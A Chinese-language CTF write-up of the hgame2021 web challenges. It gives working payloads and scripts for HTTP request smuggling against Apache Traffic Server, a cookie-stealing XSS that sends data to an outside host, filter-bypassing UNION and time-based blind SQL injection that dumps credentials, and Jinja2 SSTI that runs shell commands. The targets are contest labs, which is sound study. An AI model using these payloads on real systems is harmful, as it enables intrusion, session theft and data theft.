hgame2021 web 复现

大半年没打过CTF了,考完研来复健一下

Week1

Hitchhiking_in_the_Galaxy

打开页面点击顺风车的链接发现跳回了index.php,查看源码发现

本应该是去到HitchhikerGuide.php却又跳了回来,应该是302

那就抓包一下

405错误,那就用POST试试

改下UA

再改下Referer

加上XFF

少一个回车就会超时,害

watermelon

这题感觉应该是道js题,但怎么都找不到发送分数的api,于是就直接打到2k分出来了

真的是qnm的大西瓜,看flag hgame{do_you_know_cocos_game?} 像是Cocos2d-x游戏引擎的题,八成也是分析js,等wp出来再看看吧

看了下官方wp,是可以用cocos debug tools来操作。不过教程有点少orz

另外,没想到判断是大于1999就给flag,还以为判断是等于2000搞得一直找不到
project.js中可以查找到1999这个字符串

1
2
3
4
5
gameOverShowText: function (e, t) {
if(e > 1999){
alert(window.atob("aGdhbWV7ZG9feW91X2tub3dfY29jb3NfZ2FtZT99"))
}
}

对应的是gameOverShowText(),里面的内容base64解码即是flag

宝藏走私者

这题进入/secret提示需要有Client-IP并以localhost访问,于是带上Client-IP伪造一下果然失败了

于是尝试找能ssrf的地方,不过就两个页面也没啥功能,又尝试了一下也不行

再回去看看http包

发现服务器是个没看过的,于是就去查ATS的漏洞,查到了两个CVE,不过想应该不会出CVE的题吧于是就略过了,结果没找到什么东西。疯狂挠头一阵后回去看到题目的名字,突然就想到了http走私,于是和ATS一起查了一下居然就查到了,就是刚刚被忽略了CVE-2018-8004
后来hint中也给出了文章
协议层的攻击——HTTP请求走私

这里要先了解两个东西,ATS和http走私
ATS全称Apache Traffic Server,一般架构于网络边缘,用于进行反向代理、缓存储存
然后重点是http走私
上面的文章也说得很清楚了,htt走私主要是由于前端与后端对http请求处理不一致所导致的,主要分为五种

前端处理CL(Content-Length)而后端不处理

结果就是像这样的请求,由于前端根据CL值为44判断是一个请求,而后端不处理CL,直接就认为了这是两个请求

同一请求中有两个CL,而前端只处理第一个,后端处理第二个(CL-CL)

比如像这样一个请求,前端读取第一个CL认为请求体包括了12345\r\na,而后端读取第二个CL,认为请求体只包括到了12345\r\n。于是后面的a就到了缓冲区之中,当又有用户进行这样一个访问时

就会出现没有aGET请求的错误

在http请求中存在CL和TE(Transfer-Encoding),前端只处理的是CL,后端只处理TE(CL-TE)

Transfer-Encoding: chunked下数据格式是这样的

1
[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]

分块大小的值在前,后面是分块数据。当到尾部时,分块大小的值为0,然后以\r\n\r\n结束

像这样的一个请求,前端处理CL后认为请求体为6,包括0\r\n\r\nG。而后端处理TE后,检测到0\r\n\r\n就认为这个请求已经结束了,G就进入了缓冲区。结果就是再发送一个正常的POST请求进来,就会出现没有GPOST请求的错误

前端只处理TE,后端只处理CL(TE-CL)

像这个请求,前端接受后检测到0\r\n\r\n后才认为请求结束,于是就把12\r\nGPOST / HTTP/1.1\r\n\r\n0\r\n\r\n认为是属于请求体的。而后端根据CL值,认为12\r\n请求就结束了,于是连续访问后就会出现没有GPOST请求的错误

前后端都处理TE

这时虽然处理相同了,但我们可以通过对TE进行混淆,使得其中一个服务器不处理TE,结果造成TE-CL/CL-TE的http走私

像这个请求,尝试用两个TE去混淆,使得后端服务器不处理TE只处理CL,造成TE-CL的http走私

而由CVE-2018-8004爆出的ATS的http走私漏洞存在于6.0.0~6.2.27.0.0~7.1.3中,该题中的版本是7.1.2正好可以用。而后续官方对该漏洞提供了4个补丁,同时也是四种利用

3192 如果字段名称后面和冒号前面有空格,则返回400

若在请求中,在一条请求头的请求字段和:之间存在空格字段时,AST不会对其做处理,将其作为正常字段处理,然后直接转发给后端服务器。而当后端服务器处理不了有空格的字段时就会产生问题,像Nginx就会无视该条请求头,不会响应400错误

在这题中我们构造这样的请求

1
2
3
4
5
6
7
GET / HTTP/1.1
Host: thief.0727.site
Content-Length : 49

GET /secret HTTP/1.1
Host: thief.0727.site
foo:

第一次访问时访问的是/

当我们连续地再访问一次时就访问到了/secret
原因就是ATS接到请求后,没有去处理Content-Length : 49字段与:之间的空格,并认为该GET请求的请求体长度为49,将其作为一个请求发给了后端。而后端处理不了Content-Length : 49,将其忽略,结果就是

1
2
3
GET /secret HTTP/1.1
Host: thief.0727.site
foo:

进入了缓冲区,当我们再访问一次时,后端会响应的请求就是

1
2
3
4
GET /secret HTTP/1.1
Host: thief.0727.site
foo:GET / HTTP/1.1
Host: thief.0727.site

结果就访问到了/secret
解这道题的方式就是把Client-IP: 127.0.0.1放到第二条请求中,连续访问就行了

3201 当返回400错误时,关闭连接

CVE-2018-8004所涉及到的ATS版本中,当ATS接收到的请求造成了400错误,依旧不会关闭建立了的TCP连接

这题中我们构造这样的一个请求

1
2
3
4
5
6
GET / HTTP/1.1
Host: thief.0727.site
aa:\0bb
cc:dd
GET /secret HTTP/1.1
Host: thief.0727.site

可以看到服务器响应了两个Bad Request
当AST解析这个请求时,遇到了NULL(\0),于是进行截断成两个请求

1
2
3
GET / HTTP/1.1
Host: thief.0727.site
aa:

1
2
3
4
bb
cc:dd
GET /secret HTTP/1.1
Host: thief.0727.site

由于遇到了NULL,AST就直接对第一个请求响应了400。而第二个请求也明显不符合规范,于是也响应了400

修改一下请求再尝试

1
2
3
4
5
6
GET / HTTP/1.1
Host: thief.0727.site
aa:\0bb
cc:dd
GET /secret HTTP/1.1
Host: thief.0727.site

可以看到这次请求中,第二个请求正常响应了。这里其实我不太理解,第二个请求应该是

1
2
3
bb
GET /secret HTTP/1.1
Host: thief.0727.site

应该也不符合http的规范才对,但却成功响应了,试了几次后发现只要第二个请求行前没有两行都能成功响应,这要去翻翻ATS的手册看看了

除此之外我们也可以通过这种方式进行http走私

1
2
3
4
GET / HTTP/1.1
Host: thief.0727.site
aa:\0bb
GET http://thief.0727.site/secret HTTP/1.1

通过这种方式,我们可以将第二个请求设置为恶意网站。将这个请求发送给AST服务器,然后等待下一个访问该服务器的用户,这个用户收到的响应就会是我们设置的恶意网站上。不过虽然理论上可行,但利用的条件比较苛刻。像这道题就不适合使用这种攻击

3231 验证请求中的Content-Length头

更加详细的描述是
Content-Length请求头不匹配时,响应400,删除具有相同Content-Length请求头的重复副本,如果存在Transfer-Encoding请求头,则删除Content-Length请求头

也就是说在修复漏洞之前,可能存在CL-TE的利用
像上面分析的,构造报文

1
2
3
4
5
6
7
8
GET / HTTP/1.1
Host: thief.0727.site
Content-Length: 6
Transfer-Encoding: chunked

0

G

连续访问两次后出现405错误
这题中我们就直接在下面构造一个新请求,并带上Client-IP:127.0.0.1

连续访问后,第二次的请求就是

1
2
3
4
5
6
7
8
9
10
GET /secret HTTP/1.1
Host: thief.0727.site
Client-IP:127.0.0.1
aa:bb
GET / HTTP/1.1
Host: thief.0727.site
Content-Length: 73
Transfer-Encoding: chunked

0

这样就成功伪装成127.0.0.1

3251 当缓存命中时,清空请求体

也就是说,在未修复前,当缓存命中之后,是不会清空请求体,将请求体作为第二个请求去处理
像这样

不过这题看起来没有开启AST的缓存功能,因此无法利用

这题写得比较详细主要还是因为之前没实际做过http走私的题,就把CVE-2018-8004中每个利用都尝试了一下,熟练熟练

智商检测鸡

这题做得太窒息了,进去就是一个定积分(刚考完研已经ptsd了)

做是不可能做的,看了下源码发现就几个接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
function getStatus(){
$.ajax({
type:"GET",
url: "/api/getStatus",
dataType:"json",
success:function(data){
let solving = data['solving']
$("#status").text(solving);
if(solving === 100)
getFlag();
}
});
}

function getQuestion(){
$.ajax({
type: "GET",
url: "/api/getQuestion",
dataType: "json",
xhrFields: {
withCredentials: true
},
crossDomain: true,
success:function(data){
$('#integral').html(data['question']);
}
});
}

function getFlag(){
$.ajax({
type: "GET",
url: "/api/getFlag",
dataType: "json",
success:function(data){
$('#flag').html(data['flag']);
}
});
}

function init(){
getQuestion();
getStatus();
}

function submit(){
$.ajax({
type: "POST",
url: "/api/verify",
data: JSON.stringify({answer:parseFloat($('#answer').val())}),
dataType: "json",
contentType: "application/json;charset=utf-8",
xhrFields: {
withCredentials: true
},
crossDomain: true,
success: function(data) {
console.log(data);
if (data['result'] === true) {
init();
$('#alert').html(`
<div class="alert alert-success">\n
<strong>Right!</strong>\n
</div>`)
} else {
$('#alert').html(`
<div class="alert alert-danger">\n
<strong>Wrong!</strong>\n
</div>`)
}
}
});
}

于是尝试直接去访问一下,就被嘲讽了

不过看到cookie上的session值感觉是jwt,于是就尝试解一下

session中保存的做题数量,想着是不是把token篡改就可以了,于是就走上了一条不归路orz

不过整个尝试的过程也算学到了些东西,首先是jwt的原理,之前一直没有去认真看过
jwt分为三段,分别是header.payload.signature,都是经过base64编码后去掉尾部=得到的。header中一般存签名的加密方式,payload中存主要的信息,signature就是前面部分经过hmac xxx(加密方式,常用的加密是sha256)得到的数字签名,也就是hmac sha256(header.payload, key),用于防止伪造
一开始我还以为这个key可以得到,猜key可能是pyload的内容,但token中的签名长度只有20位,hmac sha256加密出来的在base64后都是32位,就很懵逼。hmac sha1得到的倒是20位但一直不正确,尝试了各种密码都解不出来

然后看到后台是Werkzeug/1.0.1 Python/3.8.7

搜了一下都是关于flask的,于是查找flask jwt,找到了一篇文章
浅谈flask与ctf那些事
发现其中的session伪造的密钥还是需要通过SSTI去得到,但这个页面看起来没有SSTI点

于是回到题目

提示了积分全都是ax+b的形式,这时候我才想是不是真的要全部算一下啊?!于是就用脚本跑出来了orz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import urllib
import re
import json
import time

que_url = "http://r4u.top:5000/api/getQuestion"
ver_url = "http://r4u.top:5000/api/verify"
cookie = {"session":"eyJzb2x2aW5nIjowfQ.YBdmjw.XJwVbgzxQkziZiBmOLz-DaESi5M"}

for i in range(100):
http = requests.get(que_url, cookies=cookie)
num = re.findall(r"<mn>([^<>]+)</mn>", http.content.decode())
sign = re.findall(r"<mo>([^<>]+)</mo>", http.content.decode())
if sign[1] != '(':
up = int(num[1])
down = 0-int(num[0])
a = int(num[2])
b = int(num[3])
answer = ((a/2)*(up*up)+b*up)-((a/2)*(down*down)+b*down)

header = {"Content-Type": "application/json;charset=utf-8"}
data = json.dumps({"answer":answer})
print(data)

http = requests.post(ver_url, data=data, cookies=cookie, headers=header)
if "true" not in http.content.decode():
print(cookie)
exit()
cookie = {"session":http.cookies['session']}
print(cookie)
time.sleep(1)
print(cookie)

整了我一晚,没想到是道脚本题,人都傻了

拿最后的token去访问一下得到flag(假装做了100道

走私者的愤怒

这题是由于之前那题太容易上车了,于是出题人改了一下

可以看到不需要有Client-IP请求字段,服务器会自动携带

试着用之前的方法连续访问,响应了400

多试好几次,好像是不允许一个请求中出现两个Host。我们也可以看到,由于是自动添加Client-IP,因此当我们连续访问时,第二条请求就是

1
2
3
4
5
6
GET /secret HTTP/1.1
Client-IP:127.0.0.1
foo:GET / HTTP/1.1
Host: police.liki.link
Content-Length : 47
Client-IP: IP

由于新的会覆盖旧的,因此服务器依旧会获得我们的真实IP

绕开这个IP获取,只需要把第二次的报文直接作为我们的请求体即可,构造一下

在连续访问后成功得到flag,因为第二次访问时,我们的请求实际上是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /secret HTTP/1.1
Host: police.liki.link
Client-IP:127.0.0.1
Content-Length: 200

GET / HTTP/1.1
Host: police.liki.link
Content-Length : 90
Client-IP:127.0.0.1

GET /secret HTTP/1.1
Host: police.liki.link
Client-IP:127.0.0.1
Content-Length: 200

第二的发出的报文全都成为了请求体,因此成功伪造Client-IP

不过还是觉得就算改了题,照样还是可以上车呀

#Week2

LazyDogR4U

这题一开始找了一下没找到什么,于是扫一下发现了www.zip,于是开始分析源码
可以看到flag.ini中的密码是md5加密过的,看起来不像是能解出来的

1
2
3
4
5
6
7
8
9
10
[global]
debug = true

[admin]
username = admin
pass_md5 = b02d455009d3cf71951ba28058b2e615

[testuser]
username = testuser
pass_md5 = 0e114902927253523756713132279690

登录功能很常规,flag需要session中有username才能访问
于是就来分析与题目名有关的lazy.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$filter = ["SESSION", "SEVER", "COOKIE", "GLOBALS"];

// 直接注册所有变量,这样我就能少打字力,芜湖~

foreach(array('_GET','_POST') as $_request){
foreach ($$_request as $_k => $_v){
foreach ($filter as $youBadBad){
$_k = str_replace($youBadBad, '', $_k);
}
${$_k} = $_v;
}
}


// 自动加载类,这样我也能少打字力,芜湖~
function auto($class_name){
require_once $class_name . ".php";
}
spl_autoload_register('auto');

auto()用了自动转载,classname可以通过上面修改,但flag.php有验证,感觉没什么意义。主要还是上面这里的处理
本来想着用_SESSSERVERION这样去绕过过滤修改session,但在处理后无法成为数组,传进去也没什么意义。最后想到直接把filter给改了,这样就不用进入这个循环,传入数组也能保留。于是
?filter=0&_SESSION[username]=admin
然后再访问flag.php即可

Post to zuckonit

经典XSS

隔了大半年都不会打XSS了

先测试一下发现script会被替换为div,有iframe向前匹配<,没有出现>闭合时就全替换为<div>svg`httpbase需要双写绕过。有on时会找到最后一个on`,并将字符串全部逆序,但保留最后一个on不逆序

绕过也很简单,先把要用的内容逆序,然后在尾部加上on即可

一开始没想到on的绕过,于是就找了各式各样的标签尝试,也真的找到了一个<object>
<object data="java&#115;cript:alert(document.domain)"></object>
像这样是可以执行js的,firefox下可以,可惜bot应该是chrome的,chrome下不会自动运行

<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object>
<object>在这种形势下可以,但是会产生一个新sandbox,解码的语句放在这个sandbox中,无法取得原本的cookie

在找到绕过on的方法后,就直接用<img>打了,构造XSS
<img src=x onerror="t=new XMLHthttptpRequest;t.open('GET', 'hthttptp://ip?'+document.cookie,!0),t.send();">
然后逆序尾部加上on
>";)(dnes.t,)0!,eikooc.tnemucod+'?pi//:ptptthth' ,'TEG'(nepo.t;tseuqeRptptthtHLMX wen=t"=rorreno x=crs gmi<on
这里是先处理on然后再处理http的,因此逆序中还是要双写http

然后md5截断跑一波,提交

放入cookie访问/flag

200OK!!

进入点击reload显示各种错误

直觉在告诉我这是道SQL注入

查看源码发现了requests.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function randomNum(min, max) {
return parseInt(Math.random() * (max - min + 1) + min, 10)
}
function request() {
var status = randomNum(1, 15);
var req = new XMLHttpRequest();
req.open("GET", "/server.php", true);
req.setRequestHeader("Status", status);
req.onload = function () {
if (req.readyState === req.DONE) {
if (req.status === 200) {
document.getElementById("status").innerText = req.responseText;
document.getElementById("status").style.color = "red";
}
}
};
req.send(null);
}

在头部设置了Status发送给后台,于是抓包尝试一下

设置不同的值不同响应,是SQL了

于是尝试一下0'#

没有过滤掉'#,由于出错是无响应的,于是用异或看哪些关键字被过滤了
1'^(length(' ')=1)#

可以看到空格被过滤了,同理可以查出select、from、union被过滤,不过只是replace()双写就可以直接绕过,空格用/**/代替

接着查看数据库名
-1'ununionion/**/selselectect/**/database()#

然后获取表名
-1'ununionion/**/selselectect/**/table_name/**/frfromom/**/information_schema.tables/**/whewherere/**/table_schema='week2sqli'/**/limit/**/1#

但无返回的内容

换一下查询的内容
-1'ununionion/**/selselectect/**/1/**/frfromom/**/information_schema.tables/**/whewherere/**/table_schema='week2sqli'/**/limit/**/1#

是有响应的,说明我们的语句并没有问题,那就是返回的问题了。最后使用hex()处理返回数据成功获得

-1'ununionion/**/selselectect/**/hex(table_name)/**/frfromom/**/information_schema.tables/**/whewherere/**/table_schema='week2sqli'/**/limit/**/1#

再去转成str就行了

1
2
-1'ununionion/**/selselectect/**/hex(column_name)/**/frfromom/**/information_schema.columns/**/whewherere/**/table_name='f1111111144444444444g'/**/limit/**/1#
-1'ununionion/**/selselectect/**/hex(ffffff14gggggg)/**/frfromom/**/f1111111144444444444g/**/limit/**/1#

Liki的生日礼物

打开这题,就感觉和去年的那道条件竞争很像

区别是去年的有购入和卖出,今年的只有购入。不过可以看到花完钱就可以买到50张了,差两张我觉得条件竞争还是可行的,于是就放到burpsuit,开100线程跑一波

burpsuit的具体操作看这里
Cosmos的二手市场

跑完回来一看54张,可以直接兑换flag了

Week3

Liki-Jail

看到这个题目,还以为是啥提权的题。进到题目后也没有多少东西,就一个login.php可以交互,一脸懵逼
于是去抓包,看到了有两个服务器,有一个还是没见过的

于是就走上了一条歪路

搜了一下才知道CaddyGolang的web服务器,默认使用https协议,也可以作为代理来使用。根据这些信息,就去查了各种Caddy的CVE,以及Caddy有没有http走私的问题,但都不合适这道题。于是去做了第二题,发现也用的是Caddy,才意识到这个只是一个代理服务器,并不是出题者专门留的洞

于是就去查找有关的apache/2.4.29的CVE,有但感觉也不能用。最后才以瘦死的骆驼比马大的心态,试了一下sql注入,发现居然有过滤。于是就以这个方向来做

通过尝试,可以测出过滤了' " = mid ; 空格=<>regexp这些都可以代替,空格/**/midsubstr;过滤了无法堆叠。' "这两个过滤,可以设置username=1\这样将username的单引号转义,然后和password处的单引号闭合,剩下就随我们注了
响应无回显,且登录不上的响应都相同,于是使用时间盲注

尝试了一下
username=1\&password=or/**/if(length(database())>0,sleep(6),1)#
成功延时,于是写脚本跑盲注,跑出来

1
2
3
库名:week3sqli
表名:u5ers
列名:usern@me p@ssword

但在最后跑内容时
username=1\&password=or/**/if((select/**/length(usern@me)/**/from/**/u5ers)>0,sleep(6),1)#
没有跑出内容,还以为是因为设定是维护所以是空表。尝试写读文件都不太行,查了下权限发现只有USAGE。想提权但感觉也没有什么路子
最后还是回来仔细检查了一下,尝试了
username=1\&password=or/**/if((select/**/count(*)/**/from/**/u5ers)>0,sleep(6),1)#
发现居然延时了,那就是表里是有信息的,但把*换成usern@me又不行

于是就想是不是@是个特殊字符,于是放到phpmyadmin里看看

可以看到@后面的部分变蓝了,查了一下才知道,mysql@是用来标识自定义变量的。而@@是用来标识全局变量的

于是就用

1
2
`or/**/if((select/**/length(`usern@me`)/**/from/**/u5ers)>0,sleep(6),1)#`
就没什么问题了

-- coding:utf8 --

import requests
import time

url = r”https://jailbreak.liki.link/login.php"
user = “1\“

l1 = 0
r1 = 100

while(l1<=r1):
timeout = 0
mid1 = (l1 + r1)/2

# payload = 'or/**/if(length(database())>'+str(mid1)+',sleep(6),1)#'

# payload = 'or/**/if((select/**/length(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1)>'+str(mid1)+',sleep(6),1)#'
# payload = 'or/**/if((select/**/length(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1)>'+str(mid1)+',sleep(6),1)#'
# payload = 'or/**/if((select/**/length(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1)>'+str(mid1)+',sleep(6),1)#'

# payload = 'or/**/if((select/**/length(`usern@me`)/**/from/**/u5ers)>'+str(mid1)+',sleep(6),1)#'
payload = 'or/**/if((select/**/length(`p@ssword`)/**/from/**/u5ers)>'+str(mid1)+',sleep(6),1)#'

data = {"username": user, "password": payload}
print data
try:
    http = requests.post(url, data=data, timeout=5)
except requests.exceptions.Timeout:
    # 超时则>mid1
    l1 = mid1 + 1
    timeout = 1
    time.sleep(2)
# timeout为0则<=mid1
if timeout == 0:

    # payload = 'or/**/if(length(database())<'+str(mid1)+',sleep(6),1)#'

    # payload = 'or/**/if((select/**/length(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1)<'+str(mid1)+',sleep(6),1)#'
    # payload = 'or/**/if((select/**/length(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1)<'+str(mid1)+',sleep(6),1)#'
    # payload = 'or/**/if((select/**/length(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1)<'+str(mid1)+',sleep(6),1)#'

    # payload = 'or/**/if((select/**/length(`usern@me`)/**/from/**/u5ers)<'+str(mid1)+',sleep(6),1)#'
    payload = 'or/**/if((select/**/length(`p@ssword`)/**/from/**/u5ers)<'+str(mid1)+',sleep(6),1)#'

    data = {"username": user, "password": payload}
    print data
    try:
        # 未超时则=mid1
        http = requests.post(url, data=data, timeout=5)
        break
    except requests.exceptions.Timeout:
        # 超时则<mid1
        r1 = mid1 - 1
        time.sleep(2)

print “Length:”+str(mid1)

flag = ‘’

for i in range(mid1):
l2 = 0
r2 = 128

while(l2<=r2):
    timeout = 0
    mid2 = (l2 + r2)/2

    # payload = 'or/**/if(ascii(substr(database(),'+str(i+1)+',1))>'+str(mid2)+',sleep(6),1)#'

    # payload = 'or/**/if(ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1),'+str(i+1)+',1))>'+str(mid2)+',sleep(6),1)#'
    # payload = 'or/**/if(ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1),'+str(i+1)+',1))>'+str(mid2)+',sleep(6),1)#'
    # payload = 'or/**/if(ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1),'+str(i+1)+',1))>'+str(mid2)+',sleep(6),1)#'

    # payload = 'or/**/if(ascii(substr((select/**/`usern@me`/**/from/**/u5ers),'+str(i+1)+',1))>'+str(mid2)+',sleep(6),1)#'
    payload = 'or/**/if(ascii(substr((select/**/`p@ssword`/**/from/**/u5ers),'+str(i+1)+',1))>'+str(mid2)+',sleep(6),1)#'

    data = {"username": user, "password": payload}
    print data
    try:
        http = requests.post(url, data=data, timeout=5)
    except requests.exceptions.Timeout:
        # 超时则>mid2
        l2 = mid2 + 1
        timeout = 1
        time.sleep(2)
    # timeout为0则<=mid1
    if timeout == 0:

        # payload = 'or/**/if(ascii(substr(database(),'+str(i+1)+',1))<'+str(mid2)+',sleep(6),1)#'

        # payload = 'or/**/if(ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1),'+str(i+1)+',1))<'+str(mid2)+',sleep(6),1)#'
        # payload = 'or/**/if(ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1),'+str(i+1)+',1))<'+str(mid2)+',sleep(6),1)#'
        # payload = 'or/**/if(ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1),'+str(i+1)+',1))<'+str(mid2)+',sleep(6),1)#'

        # payload = 'or/**/if(ascii(substr((select/**/`usern@me`/**/from/**/u5ers),'+str(i+1)+',1))<'+str(mid2)+',sleep(6),1)#'
        payload = 'or/**/if(ascii(substr((select/**/`p@ssword`/**/from/**/u5ers),'+str(i+1)+',1))<'+str(mid2)+',sleep(6),1)#'

        data = {"username": user, "password": payload}
        print data
        try:
            # 未超时则=mid2
            http = requests.post(url, data=data, timeout=5)
            break
        except requests.exceptions.Timeout:
            # 超时则<mid2
            r2 = mid2 - 1
            time.sleep(2)

flag = flag + chr(mid2)
print flag

print flag

or/**/if(length(database())>0,sleep(6),1)

or/**/if(ascii(substr(database(),1,1))>0,sleep(6),1)

week3sqli

or//if((select//length(table_name)//from//information_schema.tables//where//table_schema//like//database()//limit//0,1)>0,sleep(6),1)

or//if(ascii(substr((select//table_name//from//information_schema.tables//where//table_schema//like//database()//limit//0,1),1,1))>0,sleep(6),1)

u5ers

or//if((select//length(column_name)//from//information_schema.columns//where//table_schema//like//database()//limit//0,1)>0,sleep(6),1)

or//if(ascii(substr((select//column_name//from//information_schema.columns//where//table_schema//like//database()//limit//0,1),1,1))>0,sleep(6),1)

usern@me

or//if((select//length(column_name)//from//information_schema.columns//where//table_schema//like//database()//limit//1,1)>0,sleep(6),1)

or//if(ascii(substr((select//column_name//from//information_schema.columns//where//table_schema//like//database()//limit//1,1),1,1))>0,sleep(6),1)

p@ssword

or//if((select//length(usern@me)//from//u5ers)>0,sleep(6),1)

or//if(ascii(substr((select//usern@me//from//u5ers),0,1))>0,sleep(6),1)

admin

or//if((select//length(p@ssword)//from//u5ers)<0,sleep(6),1)

or//if(ascii(substr((select//p@ssword//from//u5ers),0,1))>0,sleep(6),1)

sOme7hiNgseCretw4sHidd3n

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

最后登录得到flag

## Forgetful
题目描述说到了是用`python`写的,进入登陆可以添加内容

![](http://shifeng-kaze.cn/blog/hgame2021_web_wp/868c6488b17e6c679194ec7e6a5680bd.png)

添加后可以看到,非常像是会有`SSTI`

于是各种尝试,最后发现在查看页面处有`SSTI`点

![](http://shifeng-kaze.cn/blog/hgame2021_web_wp/9c9bececd99fbbcd180975e2d0ff4379.png)
![](http://shifeng-kaze.cn/blog/hgame2021_web_wp/668d3771357f6200aed0f3285ab984cc.png)

于是开始尝试,发现响应过滤了`<`字母`>`这种,结果就是通过
`{ {().__class__.__bases__[0].__subclasses__()} }`

![](http://shifeng-kaze.cn/blog/hgame2021_web_wp/bf13c440fa373ef3479b30a66ca5e5cd.png)

只能得到这样的结果,无法知道类的位置

于是就以这种方式
`{ {''.__class__.__mro__[1].__subclasses__()[0].__name__} }`
去一个个获得类名,用一个脚本跑一下

import requests
import re

open_url = “https://todolist.liki.link/modify/498"
cookie = {“session”:”.eJwlj0tqA0EMBe_Say8k9UdqX8boS0IggRl7FXL3TMj-VVHvuz3qyPOt3Z_HK2_t8R7t3sSlewxK8LEgN8sAJu8EwBsW1d7MCbt3qtlrCvehhRPXEhmBg9gnkBGbdawIw9gRYoJInn_aXlHKes0dsQBBDGAsC90S7db8POrx_PrIz6snjBSKMGWRKi3NvlKdycLVXOaSsZXw4l5nHv8n-mw_vxwmPqU.YCgEGg.AQedmev4_7mmqmVVovMr2tWzDK4”}
post_url = “https://todolist.liki.link/modify/498"
view_url = “https://todolist.liki.link/view/498"

subclass = []

for i in range(300):
https = requests.get(open_url, cookies=cookie)
csrf = re.findall(r”type=\”hidden\” value=\”([^<>]+)\”>”, https.content.decode())[0]

data = {"csrf_token":csrf, "title":"{{''.__class__.__mro__[1].__subclasses__()["+str(i)+"].__name__}}", "status":0, "submit":"提交"}
print(data)
post_url = "https://todolist.liki.link/modify/498"
requests.post(post_url, cookies=cookie, data=data)

view = requests.get(view_url, cookies=cookie)
name = re.findall(r"Todo: ([^<>]+)", view.content.decode())[0]
subclass.append(name)

print(subclass)

1
2
3
4
5
6
7
8
9
10
11


取下来后发现`_NamespaceLoader`在第82位,于是直接读取flag
`{ {''.__class__.__mro__[1].__subclasses__()[81].__init__.__globals__["sys"].modules["os"].popen('cat /flag').read()} }`

![](http://shifeng-kaze.cn/blog/hgame2021_web_wp/45a377b0307486524bf1d54573915b30.png)

响应了stop,估计又是匹配响应不允许输出

于是就一个个去读好了
`{ {''.__class__.__mro__[1].__subclasses__()[81].__init__.__globals__["sys"].modules["os"].popen('cat /flag').read()[0]} }`

import requests
import re

open_url = “https://todolist.liki.link/modify/498"
cookie = {“session”:”.eJwlj0tqA0EMBe_Say8k9UdqX8boS0IggRl7FXL3TMj-VVHvuz3qyPOt3Z_HK2_t8R7t3sSlewxK8LEgN8sAJu8EwBsW1d7MCbt3qtlrCvehhRPXEhmBg9gnkBGbdawIw9gRYoJInn_aXlHKes0dsQBBDGAsC90S7db8POrx_PrIz6snjBSKMGWRKi3NvlKdycLVXOaSsZXw4l5nHv8n-mw_vxwmPqU.YCgEGg.AQedmev4_7mmqmVVovMr2tWzDK4”}
post_url = “https://todolist.liki.link/modify/498"
view_url = “https://todolist.liki.link/view/498"

flag = ‘’

for i in range(37):
https = requests.get(open_url, cookies=cookie)
csrf = re.findall(r”type=\”hidden\” value=\”([^<>]+)\”>”, https.content.decode())[0]

data = {"csrf_token":csrf, "title":"{{''.__class__.__mro__[1].__subclasses__()[81].__init__.__globals__[\"sys\"].modules[\"os\"].popen('cat /flag').read()["+str(i)+"]}}", "status":0, "submit":"提交"}
print(data)
post_url = "https://todolist.liki.link/modify/498"
requests.post(post_url, cookies=cookie, data=data)

view = requests.get(view_url, cookies=cookie)
name = re.findall(r"Todo: ([^<>]+)", view.content.decode())[0]
flag = flag+name
print(flag)

print(flag)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

不过复现时乱登录了一下123 123

![](http://shifeng-kaze.cn/blog/hgame2021_web_wp/6b7bfffab9b85a01c0a6a91a1a9ce8ef.png)

发现居然登录得进去,里面的payload也可以用,这题都能上车是我没想到的,少用弱密码呀(虽然这题我也用的是123密码)。117对应的类是`_wrap_close`

水平还是不行啊,linux命令依旧不熟悉,直接用base64就能解决的问题还用啥脚本跑呀
`{ {''.__class__.__mro__[1].__subclasses__()[81].__init__.__globals__["sys"].modules["os"].popen('cat /flag|base64').read()} }`

## Post to zuckonit2.0
Week2第二题的升级版,依旧是XSS。和去年一样加上了CSP
`Content-Security-Policy default-src 'self'; script-src 'self'; `
不过实际上难度并不是CSP导致的就是

Hint提示了查看源码,发现`/static/www.zip`有源码,于是拿下来
看源码才知道是用python写的,主要看`app.py`中的内容

@app.route(‘/send’, methods=[‘POST’])
def send():
if request.form.get(‘content’):
content = escape_index(request.form[‘content’])
if session.get(‘contents’):
content_list = session[‘contents’]
content_list.append(content)
else:
content_list = [content]
session[‘contents’] = content_list
return “post has been sent.”
else:
return “WELCOME TO HGAME 2021 :)”

1
2


